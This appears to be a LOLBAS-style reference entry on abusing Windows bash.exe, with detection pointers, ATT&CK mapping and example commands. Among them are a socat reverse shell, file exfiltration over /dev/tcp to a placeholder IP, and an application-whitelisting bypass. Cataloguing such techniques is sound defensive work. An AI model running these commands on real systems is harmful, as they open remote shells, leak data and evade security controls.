# .. /Bash.exe



Execute | AWL bypass

File used by Windows subsystem for Linux

**Paths:**
C:\Windows\System32\bash.exe
C:\Windows\SysWOW64\bash.exe

**Resources:**
- https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

**Acknowledgements:**
- Alex Ionescu (@aionescu)
- Asif Matadar (@d1r4c)

**Detections:**
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- Sigma: proc_creation_win_lolbin_bash.yml
- IOC: Child process from bash.exe

## Execute

1. Executes calc.exe from bash.exe

```
bash.exe -c calc.exe
```

**Use case:** Performs execution of specified file, can be used as a defensive evasion.
**Privileges required:** User
**Operating systems:** Windows 10
**ATT&CK® technique:** **T1202**: Indirect Command Execution

2. Executes a reverseshell

```
bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
```

**Use case:** Performs execution of specified file, can be used as a defensive evasion.
**Privileges required:** User
**Operating systems:** Windows 10
**ATT&CK® technique:** **T1202**: Indirect Command Execution

3. Exfiltrate data

```
bash.exe -c 'cat file_to_exfil.zip > /dev/tcp/192.168.1.10/24'
```

**Use case:** Performs execution of specified file, can be used as a defensive evasion.
**Privileges required:** User
**Operating systems:** Windows 10
**ATT&CK® technique:** **T1202**: Indirect Command Execution

## AWL bypass

Executes calc.exe from bash.exe

```
bash.exe -c calc.exe
```

**Use case:** Performs execution of specified file, can be used to bypass Application Whitelisting.
**Privileges required:** User
**Operating systems:** Windows 10
**ATT&CK® technique:** **T1202**: Indirect Command Execution